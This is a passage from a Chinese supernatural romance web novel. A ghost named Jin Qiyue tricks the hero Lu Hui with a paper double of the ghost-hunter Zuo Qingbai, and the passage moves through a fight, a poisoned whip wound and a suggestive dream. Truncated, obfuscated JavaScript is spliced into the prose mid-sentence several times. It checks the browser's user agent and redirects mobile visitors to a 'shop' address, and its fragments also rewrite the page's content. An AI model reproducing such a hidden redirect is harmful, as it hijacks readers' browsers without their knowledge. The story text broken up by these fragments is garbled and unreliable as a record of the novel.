0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338018|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这可是个好东西。 金绮月回过神来,看着自己手中缠着左轻白头发的纸扎小人。 金绮月露出一个恶作剧的表情。 金绮月爱搞恶作剧,她是个唯恐天下不乱的性子。金绮月答应过周夙不杀路回,又没答应过不能戏耍路回。 金绮月朝纸扎小人吹了一口鬼气,纸扎小人渐渐长大,幻化成了左轻白的样子。 金绮月指了指上楼的楼梯,对“左轻白”说:“去吧,去找路回。” “左轻白”朝楼梯走去,而金绮月带着那把折扇从别墅中凭空消失,转眼间出现在了别墅外。 “左轻白”走上楼梯,朝路回的房间走去。 “左轻白”敲了敲门,她发现房门没关,于是她推开房间门走了进去。 一进去,“左轻白”就愣住了,房间里全是各式各样的玫瑰花,有红玫瑰、黄玫瑰、蓝玫瑰、白玫瑰,还不乏一些极其昂贵的品种,比如原产于英国的朱丽叶玫瑰、原产于日本的Unison、原产于法国的路易十四等,很浪漫。 “左轻白”是个纸扎小人,纸本身是没有感情的,但金绮月为了让她更像真人,在她身上加入了人类的感情。 于是,“左轻白”感动得快哭了。 “左轻白”往里走去,路回在等着她。 路回把自己收拾得很精神,他手捧一束红玫瑰,在“左轻白”面前单膝跪下,在他身后是巨大的落地窗,从落地窗向外看可以看到夜空。 路回念出了自己的表白词:“我见过很多人,只有你让我觉得如此耀眼。在我心里,你是无法替代的存在。能做我女朋友吗,捉鬼师小姐?” 他念完词,身后落地窗外的天空中就出现了声势浩大的无人机表演,无人机在天空中组成不同的形状,都是与爱情有关的,这一幕十分浪漫。 “左轻白”当场看哭了。 “左轻白”情绪激动,她还没等路回起来,就情不自禁地扑了上去,搂着路回的脖子吻上了路回的唇。路回只觉得唇上软乎乎的,怀中的人也软乎乎的,他的心脏直跳,心情又是喜悦又是激动,整个人被幸福包围。 此时,就在别墅外,金绮月站在马路旁,她在等周夙的车。 突然,金绮月手中的折扇不停地颤动,并传来了左轻白的骂声:“金绮月!我知道是你!你这个疯子,放我出去!这里面好冷啊!” 63. 我们回去吧 金绮月“嘻嘻”两声,嘴角勾起一抹天真无邪的笑,眨巴眨巴眼睛,对着扇子说:“轻白姐姐,你现在还有心情管冷不冷?你老公在别墅里跟一个纸扎小人亲嘴了,你不着急?” 八卦谁都爱,人爱鬼也爱,金绮月也不例外,所以金绮月故意调侃路回是左轻白“老公”。 扇子里传出左轻白的吼声:“谁是我老公?”接着左轻白又发出“嘶”的声音,“这个地方冷死了!” “路回呀。”金绮月轻快地说,“我把一个纸扎小人变成你的样子去找路回,路回现在都快开心死了吧。” 金绮月又问左轻白:“你认得扇子里这个地方吗?” “当然认得,这不就是你小时候住的地方吗?在扇子里画一个鬼村出来,怎么,你一个老鬼也想家?”左轻白说。 外面,金绮月的眼睛眯了眯。 为什么左轻白会知道500年前鬼村的事情?金绮月想不明白。金绮月抓了左轻白,但没着急杀她,就是想弄清楚左轻白跟鬼村是什么关系。 金绮月幽幽地说:“家谁不想啊?” 扇子里,左轻白一边跟金绮月说话,一边抽出金色巨剑,她在厚厚的雪地上用法术画了一个法阵,金色巨剑就悬在法阵中,左轻白在雪地上盘膝而坐,双手结印操控法阵。 大雪卷起,漫天纷飞,金色巨剑汇聚能量,蓄势待发,左轻白逐渐发力,试图冲破扇子困局。左轻白从不是个坐以待毙的人,在任何困境中她都会努力想办法。 左轻白一边结印一边跟外面的金绮月说话,分散金绮月的注意力:“喂,金绮月,你不觉得扇子里少了什么吗?” “少了什么?” “村子是还原得挺好的,大雪也还原得挺好的,但村子怎么是空的啊?村子里的鬼呢?你怎么不安排几个纸扎小人来玩角色扮演?” “纸扎小人不好玩,它们没性格,而村民们每一个都有自己的性格特点,所以我想用真鬼来演。”金绮月认真回答。 “那可就难了,你找不到跟村子里那些鬼一模一样性格的真鬼。” “找不到,可以演。就像咱们演员演戏一样,给个人设、一本剧本,就照着固定的人设一直演下去呗。轻白姐姐,你还记不记得薛宅的事,那就是我做的一个实验,我把一个剧组的演员都做成半身鬼,他们就会照着生前的剧本一直一直演下去。如果剧本写的全是村子里的日常,剧本里的人物都写成村子里的人物,这群演员是不是就能把我的家、我的家人都给还原出来?我每天就去‘村子’里逛逛,多有归属感啊。” “金绮月你他妈……”左轻白骂出了声,咬牙切齿道:“薛宅那次你害死整个剧组的人,就是为了这个目的?” “是啊。” “所以,薛宅的事情还会重演?” “是的呢,只是我还没找到合适的剧组。” “金绮月你杀那么多人……” “恶鬼杀人天经地义。”金绮月打断左轻白的话,“你一个捉鬼师,难道还不知道恶鬼的德性?” “金绮月,我迟早除掉你。” “你先除掉我还是我先杀了你都不一定呢。”金绮月敲着折扇说,“不过在杀你之前我必须弄清楚一件事,你到底是谁?跟村子有什么关系?你为什么知道那么多?” 扇子里,法阵中的金色巨剑渐渐变大,大到几乎能刺破云端。左轻白结印的速度越来越快,她必须一击成功,撕破扇子。 为了拖延时间,左轻白胡诌道:“是啊,我知道很多东西,我知道鬼村的一切,知道鬼村村民爱吃生食,还知道那几年你寄住在村长爷爷家。至于我是什么身份?你就没怀疑过我就是鬼村中人?” 左轻白当然不是鬼村中人,她骗金绮月的。 “你……你说清楚。” 金绮月露出惊讶的表情,她想还再问,然而就在这时,左轻白法阵中的金色巨剑到了爆发的阈限,剑尖冲破扇子空间的结界,一道锐利的金光撕破扇面,金绮月手中的折扇“撕拉”一下破成两半。 金光闪现,左轻白从扇子里钻了出来。金绮月眼睛一眯,手指成爪状,在她身后黑烟汇聚成利爪,黑爪抓向左轻白。 左轻白刚刚才从扇子中逃出来,还没站稳,黑爪就抓了过来。就在千钧一发之际,有人从远处射出一枚专门针对鬼的银色子弹,子弹把黑爪一下打散,化成一股黑烟。 左轻白朝子弹射来的方向看去,是兰殊尔支援她来了。 兰殊尔站在街尾,逆着光,一张扑克脸,身板挺直,手里举着一把银色手.枪,看起来挺酷。 兰殊尔手里的那把枪伤不了人,子弹是专门针对鬼的,只能伤鬼。 金绮月眯了眯眼,冷道:“又是一个捉鬼师?这玩意我记得我500年前就灭光了,到底哪来的苍蝇?” 兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369719|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殊尔用枪指着金绮月,面对一只神通鬼,他不敢轻举妄动。兰殊尔一步一步缓慢走向金绮月。 就在这时,突然汽车鸣笛声传来,转弯处窜出来一辆汽车,看见兰殊尔也不减速,开着车灯冲向了兰殊尔,像是要杀人一样。车灯晃得兰殊尔眼睛疼,幸好他身手不错,一个翻身踩着车窗翻上了车顶,又在车子停下的那一刻跳了下来,没被车撞着。 周夙打开车门,对金绮月说:“绮月,快上来!” 周夙着急,金绮月可一点都不急,她抽出一把鬼鞭,拿在手里,指着兰殊尔慢悠悠地说:“急什么?苍蝇得先打死再走吧?” 左轻白立即大声朝兰殊尔喊:“兰殊尔,走!你打不过她的!” 话音刚落,金绮月抽出鬼鞭狠狠一甩,伴着鞭子劈开空气的声音,一阵鬼气爆发,远处的兰殊尔发出一声惨叫。金绮月隔空挥鞭,一鞭子把兰殊尔打倒在地。 兰殊尔感到他后背在渗血,被鞭子打中的地方大量鲜血渗透了他的上衣,兰殊尔痛得脑袋嗡嗡响,眼睛也冒金星,但他仍然从地上爬起来,艰难地举起手.枪,瞄准金绮月开了一枪。 金绮月挥鞭把兰殊尔的子弹打开,突然左轻白举起金色巨剑一跃而起,劈向金绮月的脑袋,同时左轻白朝兰殊尔大喊一声:“走!” 金绮月秀眉一蹙,举起鬼鞭就朝左轻白甩去,剑与鞭子相触,爆发一阵刺眼的金光,金光将周围淹没,金绮月一时之间感官受限,待金光散去时,左轻白和兰殊尔都已经不见了。 许是被激怒的缘故,金绮月面目狰狞,口露獠牙,她的眼睛变了样,只有眼黑没有眼白,纯纯一副恶鬼样。 周夙匆匆走了过来,从身后抱住金绮月。 “绮月……绮月……”周夙轻呼,“我们回去吧。” —————————————— 左轻白从围墙跳进路回家别墅,跌跌撞撞地穿过小花园。 左轻白捂着肩膀,她刚刚挨了金绮月一鞭,肩上受伤了。 小花园里有两个人正在收拾路回表白用的无人机,见左轻白突然出现,都惊讶道:“左小姐,你……你不是在屋里吗?” 左轻白摇摇头,来不及解释,她快速冲进屋里,忍着肩上的疼痛飞奔上楼。刚才在扇子里时,左轻白模模糊糊听到金绮月说她让一个纸扎小人变成自己的模样去找路回了,路回现在怎么样了?有没有危险? 64. 一直都是你 房间里,路回试探着把“左轻白”抱上床。 “左轻白”没有反抗,非常乖顺。 路回低声问“左轻白”:“可以吗?” “左轻白”羞涩地点了点头。 路回便大胆了起来,他吻着“左轻白”的唇,轻轻压上“左轻白”。 当真正的左轻白捂着肩膀忍着疼痛闯入房间时,看到的就是这样一幕:一张大床上,路回压着一个和自己长得一模一样的玩意,正在忘情地接吻,路回用手将那玩意的双手束缚在头顶,似乎正要进行下一步动作。 这充满情.色意味的一幕让左轻白又羞又恼,路回压着的那玩意跟自己长得一样这件事让左轻白完全不能接受。 左轻白叫了一声:“路回!”紧接着甩出一张空白符纸,举起没受伤的那只胳膊在符纸上画符。 路回听到左轻白的声音,朝门口一看,他看见门口站着个左轻白,怀里抱着个“左轻白”,当场愣住。 什么情况这是?还能再离奇一点吗? 路回那点旖旎的心思一扫而空,他左看看,右看看,一时之间搞不清楚状况。这时左轻白符纸已画好,她操控符纸,符纸变大并往床上飞去,跟一张毯子一样,精准地把床上的“左轻白”裹了起来。 左轻白大声说了句:“收!”符纸收紧,“左轻白”迅速变小再变小,最后变成一个纸扎小人,符纸也跟着它变小,最后纸扎小人被符纸紧紧裹着掉在床下。 路回瞪大了眼睛。 我靠刚才我跟一个纸人表了白?接了吻?还差点上了床?路回心想。 路回不由自主地“呸呸”两下,总觉得自己嘴里有纸屑。 床下,裹着纸扎小人的那张符纸突然着火,连带着纸扎小人一起烧了个精光,但没有祸及屋子里的其他物品。 左轻白三步作两步一下冲到床边,二话不说给了路回一巴掌。 路回:“……” 左轻白怒道:“你是真想让我陪睡啊?我还以为你跟别的油腻老板不一样呢。龌龊!看错人了!” 路回满脸委屈,心想我问过你了啊,你答应了的。 但转头一想,刚才那玩意并不是左轻白,他问了等于白问。 那今天这场表白也是表了等于没表咯? 路回苦笑不得。 “刚才那是什么东西?”路回冷静下来,问左轻白。 “那是金绮月耍你用的纸扎小人。”左轻白说。 “你肩膀怎么受伤了?” “金绮月打的。” 路回担心地想去看左轻白肩膀的伤势,被左轻白一把甩开,“别碰我。”此时左轻白料定路回就是个好色油腻的老板。 左轻白骂骂咧咧,她见路回没事了,正想转身离开。突然她的头一阵“突突”的痛,紧接着就是一阵天旋地转的眩晕,左轻白支撑不住,一头往路回的床上栽去。路回赶紧一接,左轻白栽进了路回怀里。 左轻白的肩头渗出了紫红色的血。 “操。”左轻白疼得嘴唇发白,满头冷汗,疼到实在快死了忍不住吐出一个脏字。左轻白说道:“金绮月这一鞭子,有毒。” 路回二话不说用力咬破自己的手指,将手指放入左轻白嘴里,让左轻白舔自己的血。 助道者的血确实有用,左轻白的脸色肉眼可见地好了许多,肩上的伤也有愈合的趋势,但还是没有力气,躺在路回怀里起不来。 左轻白舔够了血,躺着一直看路回的脸。 “为什么这么看着我?”路回问。 “助道者怎么会是你这样的人品?”左轻白说。 路回:“……” “什么样的人品?”路回不死心地问。 “找女明星陪睡,潜规则自家员工。” “我说我没有你信吗?” “那刚才……” “我问你了,你答应了。” “那个不是我,我没答应跟你上床。” “不是答应这个。”路回扭过头去,看向窗外,眼神似乎有些落寞。路回说:“这些花和无人机倒是不可惜,我只是不甘心一场表白怎么会搞成这样?” “你说什么?”这次轮到左轻白一愣。 路回垂下眼,自嘲地说:“我刚才跟你表白来着,我说我喜欢你,问你能不能做我女朋友,那个纸人帮你同意了,所以才有了刚才那一幕。” 大多数人表白的话说不出口,是因为自尊心作祟;表白后等待回应的过程是最折磨人的,在这个过程中有些人甚至扭头就跑,因为选择权被自己送给了对方,而自己是被选择的那个。 路回依然扭着头去看窗外,没有看左轻白,路回继续说:“虽然刚才那个纸人替你答应的不作数,但你知不知道,那一刻我心里有多高兴,就好像吃了块世界上最甜最甜的糖。” 路回又继续道:“刚才那个纸人答应得那么快,还感动得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387657|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流泪,现在想想,那怎么可能是你呢?你就不是那种性格。只是当时光顾着高兴了,哪想得到这么多?” 左轻白瞪大眼睛发着愣把路回的这番话听完。 路回跟自己表白?路回喜欢自己? 为什么? 左轻白在心里问出了“为什么”三个字。 她倒是从不觉得路回比她有钱就比她高贵,更不觉得自己配不上路回,她自小跟着师父修炼捉鬼术,他们这个门派讲的是众生平等,信的是世上没有谁比谁高贵。 只是左轻白总觉得喜欢人总有个理由吧,师父说,世上一切有因必有果,因果必循环,世上会有无缘无故的喜欢吗? 路回为什么喜欢自己?理由在哪里?左轻白想不明白。 “你转过头来,路回。”左轻白突然出声。 路回转过头来,看着怀里的左轻白。 左轻白很虚弱,她抬起手,扯了扯路回的衣服。左轻白似乎急需一个答案一样,问路回:“理由呢?” “喜欢需要理由吗?” “需要。”左轻白斩钉截铁道,“世上一切有因必有果,因果必循环。” “如果这是你修炼捉鬼术的口诀,那我要告诉你,捉鬼术并不适用于世界上所有一切,尤其是感情。” 路回把受伤的左轻白平放在床上,自己也平躺在左轻白身边。床上,两个人并排平躺,床下,大片玫瑰花海环绕。 “你不讨厌我。”路回说,“你看,我躺在你身边,你没有排斥,说明你不讨厌我。” “没有排斥就是不讨厌,那喜欢是什么?” “喜欢就是想靠近。”路回朝左轻白的方向挪了挪,说:“这就是想靠近。情不自禁地想靠近。” 路回又说:“刚才那个纸人答应我的,我很想听你再答应一遍。” “如果我答应了呢?” “那刚才的事情可以继续。” “如果我不答应呢?” “那我就把你关在屋子里,一直等到你答应为止。” 左轻白听笑了,“这话说的,好像你能关得住我一样。” 两人说着话,路回忽然翻了个身。 “你怎么了?”左轻白问。 “燥热难安。”路回说。 左轻白脸色微红。 “撩你的是刚才那个纸人,可不是我。”左轻白说。 “一直都是你。”路回侧躺着说。 65. 这是什么怪事 路回在床上翻来覆去。 虽然左轻白就躺在身边,还是个受伤状态,但路回没动左轻白。路回小时候在外公家长大,他外公家是有名的名门望族,路回从小家教很好,霸王硬上弓的事情,路回不会做,也不屑做。 路回翻了半天身,最后去洗了个冷水澡。 路回洗完冷水澡回来,看着左轻白笑道:“我不是柳下惠,你躺在这里,我一晚上都不可能睡得着了。” “那我走?”左轻白说。 “你受伤了,还是躺着吧。”路回说。 左轻白对路回道:“你记不记得慈善晚宴那次金绮月也打了我一鞭子,同样是一鞭子,这次的伤好像比上次更严重,金绮月的道行加深了!” 路回坐到床边,问:“舔了我的血后,你的伤不是已经开始愈合了吗?” “伤口是愈合了,但这次的鞭子有毒,我的整条胳膊,甚至是整个上半身,好像都没有知觉了。”左轻白急道。 “怎么会这样?” “路回,帮我个忙,你脱掉我的上衣,帮我看一下受伤的地方现在变成什么样了。” 路回看了左轻白几秒,忽然叹了一口气。路回扶着左轻白坐起来,让她靠着床头,左轻白的情况果真更严重了,她上半身绝大部分区域已经动不了了,连脖子都是僵硬的。 路回弯下腰,将自己的脸靠近左轻白的脸,两人鼻尖几乎相贴。 路回笑道:“你都知道我对你有意思了,还让我脱你衣服?” “我不是那个意思。”左轻白脸一红,她本不是个扭捏的性子,但在此时的氛围下,她竟然也忍不住扭捏起来。 “我不是你以为的油腻猥琐的老板,我不脱跟我不相干的女孩的衣服。”路回一双笑眼看着左轻白,说道:“要不你答应做我女朋友吧?只要你答应,我脱得可快了。” “你……”左轻白意识到自己被路回调戏了。 此时左轻白的脸蛋红扑扑的,像盛开的红玫瑰一样,路回心神一晃,差点忍不住亲上去。 路回装出一副委屈巴巴的表情,对左轻白说:“现在是法制社会,你看啊,你要是跟我一点关系都没有,我脱了你衣服,一定会被当成流氓抓进公安局,只有你是我的女朋友,我脱你衣服才名正言顺,我才不会被当成流氓抓起来,你就当是为了我的名声,好不好?” 为了他的名声?这鬼话他也说得出口?左轻白在心里咬牙切齿。左轻白明知道路回在调戏自己,可她拿他没办法。 路回觉得不能把人逼得太紧,他眼珠子一转,审时度势,决定先退一步。 路回举起三根手指,对左轻白说:“呐,咱们各退一步,三天,你答应当我三天女朋友,怎么样?” “可以。”左轻白蚊子嘤嘤地说。 路回还不满意,“你要说‘我同意当你女朋友’。” “我同意当你女朋友。现在能帮忙了吗?”左轻白不耐。 “不好意思没听清楚。” “我同意当你女朋友!”左轻白气急,喊了出来。 “嗯。我也同意当你男朋友。”路回认真道。 他说完,又认认真真地吻上了左轻白的嘴唇,像宣示主权一般。 纯属趁人之危。 路回吻左轻白的时候,左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408911|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻白感到自己的心脏在砰砰乱跳。明明左轻白跟路回不是第一次接吻,之前左轻白为了得到助道者的帮助也跟路回接过吻,但这次的感觉跟前几次不一样,完全不一样。 到底哪里不一样?左轻白说不清楚,她只觉得前几次再怎么接吻她都很清醒,但这一次路回吻她,她却仿佛要醉倒这个吻里。 “帮忙啊。”左轻白催促路回。 “哦。” 左轻白今天穿的是白衬衫和裤子,路回小心翼翼地松开左轻白的衬衫扣子,并用手指摁了摁左轻白的肩膀。 “一点感觉都没有吗?”路回问, “没有,一点都没有,完全失去知觉了!”左轻白心里有点慌,金绮月的鞭子上淬了什么毒? 左轻白的肩膀露了出来。 路回惊讶道:“你文了文身?” “没有啊。” “你肩膀上伤口已经愈合了,但是出现了一片很复杂的花纹,跟文身一样……不对,这些花纹会动,它们在向你身上蔓延,虽然速度很慢。” “金绮月这一鞭子让我肩膀上多出了一片文身?这是什么怪事?”左轻白想扭头去看路回口中的文身,但她的脖子也失去知觉了,整个脖子是僵硬的,动不了,所以左轻白什么都看不见。 “文身长什么样?”左轻白问路回。 “是一把打开的折扇,折扇的扇面上密密麻麻画了很多东西,那些东西有些从扇子里跳了出来……我描述不清楚,我去找一面镜子给你看。” 路回找来了镜子,照出左轻白肩膀上的文身给左轻白看。左轻白通过镜子看到了一大片妖冶而诡异的图案。 66. 不会真有河神吧 文身上绘了这样一幅画:一面打开的折扇,扇面上绘了神态各异的小人,小人有男也有女,有些小人衣衫不整,有些小人干脆全身赤.裸,有些成群结队,有些两个两个抱在一起,由于画的小人太多,扇面太小装不下,小人干脆“跳”出了扇面,“跳”到外面来。 赤.裸的小人?天,金绮月居然在左轻白肩膀上画了一幅春宫图! 左轻白脸一红,咬牙切齿道:“金绮月她有病吧她!” 再看路回,路回两颊也微微泛红。 而此时,金绮月已经被周夙带回了公寓。 公寓的阳台上,金绮月在用明火烧纸钱,这是祭拜死人的仪式,不过金绮月不是在祭拜死人,而是在祭拜鬼,今天是鬼村被舒家兄妹灭掉的日子,金绮月清楚地记得500年前的今天,她没有家了。 鬼村是金绮月心中的一片净土,不然她不会因为左轻白说出那句“你就没怀疑过我就是鬼村中人”而惊慌失措。 鬼不能轮回转世,但这世上稀奇的事情那么多,万一出了什么变数,导致鬼村的鬼破例转世了,还带着500年前的记忆,有没有这种可能呢?万一有呢? 金绮月忽然心存希望。 金绮月必须弄清楚左轻白到底是不是鬼村的鬼转世的,如果是,金绮月会把她当成自己的家人,护她一世周全,如果不是,金绮月会让她死得比谁都凄惨。 如何让左轻白乖乖说实话,金绮月想到一个法子,人最怕有牵挂,只要拿捏住了左轻白在这个世界上最牵挂的人或事物,不怕左轻白不说实话。 但问题就是,金绮月发现左轻白在这个世界好像没有牵挂。左轻白没有亲人,也没有什么特别亲密的朋友,她虽然混娱乐圈,但她好像对娱乐圈的名利并不是太在意,只是当一份普通工作在做而已。她在这个世界没有牵挂,就好像是从另一个世界来的一样。 没有牵挂,那就送她一个牵挂咯。金绮月勾起一抹坏笑,手中变幻出一把折扇,折扇的扇柄通体全白,正是被左轻白撕坏的那把,此时它已经修补好了,完好无损地出现在金绮月手中。 金绮月打开折扇,这次的扇面不再是空白的,而是密密麻麻的画满一幅幅令人脸红心跳的春宫图。 “人是色.欲的奴隶,俗气得很。”金绮月幽幽地说,“自古以来还不是男欢女爱那点事让人牵挂最深?” 金绮月说着,转头看了一眼关着灯的客厅,朝站在黑暗里许久的周夙冷笑道:“你说是不是啊,周夙?” 周夙没说话,金绮月抬头朝黑漆漆的夜空看去,自言自语地说了一句:“好梦吧,轻白姐姐。” —————————————— 路回的卧室。 满屋子的玫瑰花散发着花香,路回忽然觉得很困。 让路回犯困的不是玫瑰花香,而是左轻白肩膀上的文身。 这文身有问题,不知道被施了什么魔法,既让路回挪不开眼,又让路回昏昏欲睡。 “这文身……我看着好晕……”路回说着,竟然头一垂,趴在床边快速睡着了。 “路回,路回。”左轻白连忙叫他,然而路回已经呼呼大睡过去。 左轻白刚想说“怎么睡得这么快”,但还没等她张嘴,突然一阵强烈的困意上涌,左轻白的眼皮子像有千斤重,她就这么倚靠在床头,坐着睡着了。 睡着后的左轻白马上进入了梦境。 梦境中,左轻白穿着红嫁衣,被一群不认识的人捆得严严实实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422904|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的扔进了一艘船里,这艘船用红帐子装饰着,还贴着喜字,看起来很喜庆。 左轻白听到一人高声说:“把新娘子献给河神,河神保佑风调雨顺,五谷丰登!” 其他人齐声附和:“风调雨顺,五谷丰登!” 左轻白想起旧社会有些迷信的地方有这样一种风俗,他们挑选村子里适龄的女子穿上嫁衣放到小船上,任小船在风浪中飘走,美其名曰“把新娘子献给河神”,以此祈求河神保佑这一年风调雨顺,五谷丰登。船下水的地方往往是河浪最凶猛的地方,新娘子祸福难料,大多都被淹死了。 左轻白在心里骂这种垃圾风俗居然霍霍到自己身上来了,一定要让岸上那些蠢货知道自己的厉害。 然而当左轻白试图挣脱绳子时,她却发现自己手脚无力,根本动不了;左轻白又暗念捉鬼术咒语,可她却发现在梦里她的咒语一句也不管用。 左轻白就这么被人放在船上,顺水飘走了。 夜晚,突然狂风暴雨,波涛汹涌,左轻白在小船里荡来荡去,她想逃,可她无法动弹,有一瞬间她觉得她会死在这里。 不知过了多久,船身突然剧烈一晃,好像有什么东西从水里爬上了船。 船里没有灯,左轻白看不清爬上来的是什么东西,但隐隐约约好像是个人的形状。 我靠,不会真有河神吧? 那人走到船里,很自然地伏在左轻白身上。 是个男人。左轻白看不到男人的长相,但凭感觉这男人应该全身赤.裸。 这男人分明是从水里爬上来的,但头发还有身上却是干的,一点水都没有。 不是……这玩意真的是河神?河神来跟他的新娘洞房来了?不是吧真有这种事? 67. 做梦而已 男人一言不发,用嘴咬开了左轻白的嫁衣。 左轻白面红耳赤,心脏砰砰直跳。 男人在吻她,一只手抚上她的身体。 左轻白大睁着眼,她的头顶一片黑暗。 幸而左轻白很清楚地知道她在做梦,她只是做了一个春梦而已,并不是真的被男人那什么了。 左轻白不停地在心里对自己说,一定是自己母胎单身太久一直没谈恋爱,年纪也不小了多少有点悸动,才会做这种乱七八糟的梦,这是正常现象,人嘛,有点幻想很正常,做梦而已,不用慌。 但在这个梦里感觉也太真实了吧。 那是左轻白从未有过的体验,既羞耻,又欢愉。 船外,狂风暴雨还在继续;船内,同样是狂风暴雨、兵荒马乱。 左轻白不知道是什么时候睡着的。 醒来时天已经亮了,外面雨也不下了,风平浪静,阳光灿烂。左轻白发现自己身上的绳子解开了,手脚也能动了。 左轻白回想起昨天晚上,脸上烫得不行。 左轻白不停地拍自己的脸,心想自己怎么会做这种梦?最近雌激素分泌是不是有点旺盛,连乱七八糟的春梦都开始做起来了? 幸好只是个梦,而不是真实发生的事。 这个梦一直没醒,左轻白也不知道它什么时候会醒。 夜幕降临,左轻白百无聊赖地坐在船里,突然,水声一响,船身一晃,昨天晚上的事情再次发生,同一个男人从水里爬上了船,他从水里出来,身上却是干的。 男人走向左轻白,蹲在她面前,手抚上左轻白的脸。 今晚左轻白没有被绳子绑住,手脚也是能动的,但真奇怪,左轻白并没有拍开那人的手,她似乎并不排斥他。 “你到底是谁?”左轻白问。 男人没有回答左轻白的问题,只是温柔地安抚:“别怕,我不会伤害你。” 左轻白觉得男人的声音非常熟悉,但她死活想不起来到底是谁。 这个声音好熟悉,我应该认识他,他是谁来着?到底是谁来着? 左轻白绞尽脑汁地想,却死活想不起来。 跟昨晚一样,男人吻上了左轻白。 左轻白的心跳得很快,似乎马上就要跳出来。理智告诉她应该推开面前的人,而人类最原始的欲望却告诉她别动。 最后左轻白向欲望投了降。 左轻白在心里想:管它呢,反正是做梦,又不是真实发生的,在梦里荒唐一把怎么了?犯法吗?况且这男人的身材真好啊…… 今夜又是荒唐的一夜,小船里狂风暴雨。 到了第三天晚上,同样的事情再次上演,只是这次跟前两次不同,左轻白熟练了许多,她甚至主动把那个男人推倒。 “你叫什么名字?”左轻白坐在男人身上,将男人的手摁在船板上,问男人。 “路回。” “路回……”这个名字让左轻白突然一个激灵,一大堆记忆涌入她脑中。 梦境开始瓦解,左轻白要醒了。 左轻白“蹭”的一下睁开双眼,大口地喘气。她环顾四周,发现自己还在路回的卧室,她坐在床上,而路回就趴在床边,还没醒来。 梦里的一切清晰地浮现在左轻白脑中,左轻白“唰”的一下满脸通红。 左轻白发现自己的上半身可以活动了,她连忙扭头去看自己的肩膀,金绮月在她肩上弄出来的文身竟然全都消失了,她的肩上光滑一片,什么也没有。 左轻白迅速将自己的上衣穿好,逃似的离开路回的卧室,回到自己的房间,“碰”的一下把房门用力关上。 左轻白靠在门后,乱七八糟地想了很多。 自己为什么会做那样的梦?是因为今晚路回发神经跟自己表白,导致自己受了影响?还是说自己其实早就在觊觎路回了?又或者是受那片古怪的文身引诱? 最重要的是做了那样的梦自己以后还怎样跟路回相处啊?左轻白捂着自己的脸。 梦里的一幕幕不受控制地在左轻白的脑子里浮现,左轻白心绪不宁、心乱如麻。 左轻白的手捂上自己那颗“扑通扑通”乱跳的心,她不清楚自己到底是真的心动了,还是只是欲望驱使。 左轻白修炼的捉鬼术要练定力,所以一直以来左轻白在这种事情上比较迟钝,当然不是说她单纯到以为牵手就能怀孕,该懂的知识她都懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426839|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只不过她的定力比一般人强,不会那么容易动心,然而这个莫名其妙的春梦似乎打破了她的定力。 左轻白靠着门坐了许久,直到路回的敲门声传来。 左轻白慌了一下。 “你……还好吗?”门外,路回问。 “好,很好。”左轻白说。 “我能进去看看你吗?” “不能。”左轻白迅速回答。 “你答应了做我三天女朋友,既然是男女朋友,我进去看看,都不行吗?” “不行。”左轻白毫不犹豫地说。左轻白又补充了一句:“三天很快就过了。” 路回顿了一下,说:“你刚才……做梦了吗?” 